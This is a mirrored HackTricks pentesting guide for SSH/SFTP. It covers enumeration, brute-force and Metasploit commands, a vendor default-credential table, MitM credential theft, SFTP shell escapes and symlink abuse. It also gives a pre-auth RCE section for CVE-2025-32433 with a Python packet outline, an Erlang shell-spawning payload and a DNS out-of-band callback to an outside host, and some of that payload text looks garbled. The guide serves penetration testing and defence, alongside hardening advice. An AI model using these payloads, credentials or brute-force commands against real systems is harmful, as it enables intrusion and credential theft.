mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
425 lines
24 KiB
Markdown
425 lines
24 KiB
Markdown
# 22 - Pentesting SSH/SFTP
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
**SSH (Secure Shell or Secure Socket Shell)** is a network protocol that enables a secure connection to a computer over an unsecured network. It is essential for maintaining the confidentiality and integrity of data when accessing remote systems.
|
||
|
||
**Default port:** 22
|
||
|
||
```
|
||
22/tcp open ssh syn-ack
|
||
```
|
||
|
||
**SSH servers:**
|
||
|
||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, shipped in BSD, Linux distributions and Windows since Windows 10
|
||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH implementation for environments with low memory and processor resources, shipped in OpenWrt
|
||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementation for Windows, the client is commonly used but the use of the server is rarer
|
||
- [CopSSH](https://www.itefix.net/copssh) – implementation of OpenSSH for Windows
|
||
|
||
**SSH libraries (implementing server-side):**
|
||
|
||
- [libssh](https://www.libssh.org) – multiplatform C library implementing the SSHv2 protocol with bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) and [R](https://github.com/ropensci/ssh); it’s used by KDE for sftp and by GitHub for the git SSH infrastructure
|
||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 server library written in ANSI C and targeted for embedded, RTOS, and resource-constrained environments
|
||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java library is based on Apache MINA
|
||
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protocol library
|
||
|
||
## Enumeration
|
||
|
||
### Banner Grabbing
|
||
|
||
```bash
|
||
nc -vn <IP> 22
|
||
```
|
||
|
||
### Automated ssh-audit
|
||
|
||
ssh-audit is a tool for ssh server & client configuration auditing.
|
||
|
||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||
|
||
**Features:**
|
||
|
||
- SSH1 and SSH2 protocol server support;
|
||
- analyze SSH client configuration;
|
||
- grab banner, recognize device or software and operating system, detect compression;
|
||
- gather key-exchange, host-key, encryption and message authentication code algorithms;
|
||
- output algorithm information (available since, removed/disabled, unsafe/weak/legacy, etc);
|
||
- output algorithm recommendations (append or remove based on recognized software version);
|
||
- output security information (related issues, assigned CVE list, etc);
|
||
- analyze SSH version compatibility based on algorithm information;
|
||
- historical information from OpenSSH, Dropbear SSH and libssh;
|
||
- runs on Linux and Windows;
|
||
- no dependencies
|
||
|
||
```bash
|
||
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
||
|
||
-1, --ssh1 force ssh version 1 only
|
||
-2, --ssh2 force ssh version 2 only
|
||
-4, --ipv4 enable IPv4 (order of precedence)
|
||
-6, --ipv6 enable IPv6 (order of precedence)
|
||
-p, --port=<port> port to connect
|
||
-b, --batch batch output
|
||
-c, --client-audit starts a server on port 2222 to audit client
|
||
software config (use -p to change port;
|
||
use -t to change timeout)
|
||
-n, --no-colors disable colors
|
||
-j, --json JSON output
|
||
-v, --verbose verbose output
|
||
-l, --level=<level> minimum output level (info|warn|fail)
|
||
-t, --timeout=<secs> timeout (in seconds) for connection and reading
|
||
(default: 5)
|
||
$ python3 ssh-audit <IP>
|
||
```
|
||
|
||
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||
|
||
### Public SSH key of server
|
||
|
||
```bash
|
||
ssh-keyscan -t rsa <IP> -p <PORT>
|
||
```
|
||
|
||
### Weak Cipher Algorithms
|
||
|
||
This is discovered by default by **nmap**. But you can also use **sslcan** or **sslyze**.
|
||
|
||
### Nmap scripts
|
||
|
||
```bash
|
||
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
|
||
nmap -p22 <ip> -sV # Retrieve version
|
||
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
|
||
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
|
||
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
|
||
```
|
||
|
||
### Shodan
|
||
|
||
- `ssh`
|
||
|
||
## Brute force usernames, passwords and private keys
|
||
|
||
### Username Enumeration
|
||
|
||
In some versions of OpenSSH you can make a timing attack to enumerate users. You can use a metasploit module in order to exploit this:
|
||
|
||
```
|
||
msf> use scanner/ssh/ssh_enumusers
|
||
```
|
||
|
||
### [Brute force](../generic-hacking/brute-force.md#ssh)
|
||
|
||
Some common ssh credentials [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)and [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) and below.
|
||
|
||
### Private Key Brute Force
|
||
|
||
If you know some ssh private keys that could be used... let's try it. You can use the nmap script:
|
||
|
||
```
|
||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||
```
|
||
|
||
Or the MSF auxiliary module:
|
||
|
||
```
|
||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||
```
|
||
|
||
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||
|
||
#### Known badkeys can be found here:
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||
{{#endref}}
|
||
|
||
#### Weak SSH keys / Debian predictable PRNG
|
||
|
||
Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced. Pre-generated sets of keys generated on Debian systems affected by weak PRNG are available here: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||
|
||
You should look here in order to search for valid keys for the victim machine.
|
||
|
||
### Kerberos / GSSAPI SSO
|
||
|
||
If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password.
|
||
|
||
Workflow from a Linux attacker host:
|
||
|
||
```bash
|
||
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
|
||
sudo ntpdate <dc.fqdn>
|
||
|
||
# 2) Generate a krb5.conf for the target realm (optional, but handy)
|
||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||
sudo cp krb5.conf /etc/krb5.conf
|
||
|
||
# 3) Obtain a TGT for the user
|
||
kinit <user>
|
||
klist
|
||
|
||
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
|
||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||
```
|
||
|
||
Notes:
|
||
- If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match.
|
||
- `crackmapexec ssh --kerberos` can also use your ccache for Kerberos auth.
|
||
|
||
## Default Credentials
|
||
|
||
| **Vendor** | **Usernames** | **Passwords** |
|
||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||
| APC | apc, device | apc |
|
||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||
| D-Link | admin, user | private, admin, user |
|
||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||
| Juniper | netscreen | netscreen |
|
||
| NetApp | admin | netapp123 |
|
||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||
|
||
## SSH-MitM
|
||
|
||
If you are in the local network as the victim which is going to connect to the SSH server using username and password you could try to **perform a MitM attack to steal those credentials:**
|
||
|
||
**Attack path:**
|
||
|
||
- **Traffic Redirection:** The attacker **diverts** the victim's traffic to their machine, effectively **intercepting** the connection attempt to the SSH server.
|
||
- **Interception and Logging:** The attacker's machine acts as a **proxy**, **capturing** the user's login details by pretending to be the legitimate SSH server.
|
||
- **Command Execution and Relay:** Finally, the attacker's server **logs the user's credentials**, **forwards the commands** to the real SSH server, **executes** them, and **sends the results back** to the user, making the process appear seamless and legitimate.
|
||
|
||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) does exactly what is described above.
|
||
|
||
In order to capture perform the actual MitM you could use techniques like ARP spoofing, DNS spoofin or others described in the [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
|
||
|
||
## SSH-Snake
|
||
|
||
If you want to traverse a network using discovered SSH private keys on systems, utilizing each private key on each system for new hosts, then [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) is what you need.
|
||
|
||
SSH-Snake performs the following tasks automatically and recursively:
|
||
|
||
1. On the current system, find any SSH private keys,
|
||
2. On the current system, find any hosts or destinations (user@host) that the private keys may be accepted,
|
||
3. Attempt to SSH into all of the destinations using all of the private keys discovered,
|
||
4. If a destination is successfully connected to, repeats steps #1 - #4 on the connected-to system.
|
||
|
||
It's completely self-replicating and self-propagating -- and completely fileless.
|
||
|
||
## Config Misconfigurations
|
||
|
||
### Root login
|
||
|
||
It's common for SSH servers to allow root user login by default, which poses a significant security risk. **Disabling root login** is a critical step in securing the server. Unauthorized access with administrative privileges and brute force attacks can be mitigated by making this change.
|
||
|
||
**To Disable Root Login in OpenSSH:**
|
||
|
||
1. **Edit the SSH config file** with: `sudoedit /etc/ssh/sshd_config`
|
||
2. **Change the setting** from `#PermitRootLogin yes` to **`PermitRootLogin no`**.
|
||
3. **Reload the configuration** using: `sudo systemctl daemon-reload`
|
||
4. **Restart the SSH server** to apply changes: `sudo systemctl restart sshd`
|
||
|
||
### SFTP Brute Force
|
||
|
||
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
|
||
|
||
### SFTP command execution
|
||
|
||
There is a common oversight occurs with SFTP setups, where administrators intend for users to exchange files without enabling remote shell access. Despite setting users with non-interactive shells (e.g., `/usr/bin/nologin`) and confining them to a specific directory, a security loophole remains. **Users can circumvent these restrictions** by requesting the execution of a command (like `/bin/bash`) immediately after logging in, before their designated non-interactive shell takes over. This allows for unauthorized command execution, undermining the intended security measures.
|
||
|
||
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
|
||
|
||
```bash
|
||
ssh -v noraj@192.168.1.94 id
|
||
...
|
||
Password:
|
||
debug1: Authentication succeeded (keyboard-interactive).
|
||
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
|
||
debug1: channel 0: new [client-session]
|
||
debug1: Requesting no-more-sessions@openssh.com
|
||
debug1: Entering interactive session.
|
||
debug1: pledge: network
|
||
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
|
||
debug1: Sending command: id
|
||
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
|
||
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
|
||
uid=1000(noraj) gid=100(users) groups=100(users)
|
||
debug1: channel 0: free: client-session, nchannels 1
|
||
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
|
||
Bytes per second: sent 43133.4, received 44349.5
|
||
debug1: Exit status 0
|
||
|
||
$ ssh noraj@192.168.1.94 /bin/bash
|
||
```
|
||
|
||
Here is an example of secure SFTP configuration (`/etc/ssh/sshd_config` – openSSH) for the user `noraj`:
|
||
|
||
```
|
||
Match User noraj
|
||
ChrootDirectory %h
|
||
ForceCommand internal-sftp
|
||
AllowTcpForwarding no
|
||
PermitTunnel no
|
||
X11Forwarding no
|
||
PermitTTY no
|
||
```
|
||
|
||
This configuration will allow only SFTP: disabling shell access by forcing the start command and disabling TTY access but also disabling all kind of port forwarding or tunneling.
|
||
|
||
### SFTP Tunneling
|
||
|
||
If you have access to a SFTP server you can also tunnel your traffic through this for example using the common port forwarding:
|
||
|
||
```bash
|
||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||
```
|
||
|
||
### SFTP Symlink
|
||
|
||
The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**.
|
||
|
||
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
|
||
|
||
```bash
|
||
sftp> symlink / froot
|
||
```
|
||
|
||
If you can access the file "_froot_" via web, you will be able to list the root ("/") folder of the system.
|
||
|
||
### Authentication methods
|
||
|
||
On high security environment it’s a common practice to enable only key-based or two factor authentication rather than the simple factor password based authentication. But often the stronger authentication methods are enabled without disabling the weaker ones. A frequent case is enabling `publickey` on openSSH configuration and setting it as the default method but not disabling `password`. So by using the verbose mode of the SSH client an attacker can see that a weaker method is enabled:
|
||
|
||
```bash
|
||
ssh -v 192.168.1.94
|
||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||
...
|
||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||
```
|
||
|
||
For example if an authentication failure limit is set and you never get the chance to reach the password method, you can use the `PreferredAuthentications` option to force to use this method.
|
||
|
||
```bash
|
||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||
...
|
||
debug1: Next authentication method: password
|
||
```
|
||
|
||
Review the SSH server configuration is necessary to check that only expected\
|
||
methods are authorized. Using the verbose mode on the client can help to see\
|
||
the effectiveness of the configuration.
|
||
|
||
### Config files
|
||
|
||
```bash
|
||
ssh_config
|
||
sshd_config
|
||
authorized_keys
|
||
ssh_known_hosts
|
||
known_hosts
|
||
id_rsa
|
||
```
|
||
|
||
## Fuzzing
|
||
|
||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||
|
||
## Authentication State-Machine Bypass (Pre-Auth RCE)
|
||
|
||
Several SSH server implementations contain logic flaws in the **authentication finite-state machine** that allow a client to send *connection-protocol* messages **before** authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to **unauthenticated code execution** or session creation.
|
||
|
||
At a protocol level any SSH message with a _message code_ **≥ 80** (0x50) belongs to the *connection* layer (RFC 4254) and must **only be accepted after successful authentication** (RFC 4252). If the server processes one of those messages while still in the *SSH_AUTHENTICATION* state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc.
|
||
|
||
### Generic Exploitation Steps
|
||
1. Establish a TCP connection to the target’s SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…).
|
||
2. Craft a raw SSH packet:
|
||
* 4-byte **packet_length** (big-endian)
|
||
* 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||
* Payload that will be understood by the chosen message type
|
||
3. Send the packet(s) **before completing any authentication step**.
|
||
4. Interact with the server APIs that are now exposed _pre-auth_ (command execution, port forwarding, file-system access, …).
|
||
|
||
Python proof-of-concept outline:
|
||
```python
|
||
import socket, struct
|
||
HOST, PORT = '10.10.10.10', 22
|
||
s = socket.create_connection((HOST, PORT))
|
||
# skip version exchange for brevity – send your own client banner then read server banner
|
||
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
|
||
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
|
||
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||
s.sendall(pkt)
|
||
# additional CHANNEL_REQUEST packets can follow to run commands
|
||
```
|
||
In practice you will need to perform (or skip) the key-exchange according to the target implementation, but **no authentication** is ever performed.
|
||
|
||
---
|
||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||
* **Affected versions:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||
* **Root cause:** the Erlang native SSH daemon does not validate the current state before invoking `ssh_connection:handle_msg/2`. Therefore any packet with a message code 80-255 reaches the connection handler while the session is still in the *userauth* state.
|
||
* **Impact:** unauthenticated **remote code execution** (the daemon usually runs as **root** on embedded/OT devices).
|
||
|
||
Example payload that spawns a reverse shell bound to the attacker-controlled channel:
|
||
```erlang
|
||
% open a channel first … then:
|
||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||
```
|
||
Blind RCE / out-of-band detection can be performed via DNS:
|
||
```erlang
|
||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||
```
|
||
|
||
Detection & Mitigation:
|
||
* Inspect SSH traffic: **drop any packet with message code ≥ 80 observed before authentication**.
|
||
* Upgrade Erlang/OTP to **27.3.3 / 26.2.5.11 / 25.3.2.20** or newer.
|
||
* Restrict exposure of management ports (22/2022/830/2222) – especially on OT equipment.
|
||
|
||
---
|
||
### Other Implementations Affected
|
||
* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – accepts an unauthenticated `SSH_MSG_USERAUTH_SUCCESS` sent by the client, effectively the inverse logic flaw.
|
||
|
||
The common lesson is that any deviation from the RFC-mandated state transitions can be fatal; when reviewing or fuzzing SSH daemons pay particular attention to *state-machine enforcement*.
|
||
|
||
|
||
|
||
## References
|
||
|
||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
|
||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||
|
||
## HackTricks Automatic Commands
|
||
|
||
```
|
||
Protocol_Name: SSH
|
||
Port_Number: 22
|
||
Protocol_Description: Secure Shell Hardening
|
||
|
||
Entry_1:
|
||
Name: Hydra Brute Force
|
||
Description: Need Username
|
||
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
|
||
|
||
Entry_2:
|
||
Name: consolesless mfs enumeration
|
||
Description: SSH enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
|
||
|
||
```
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|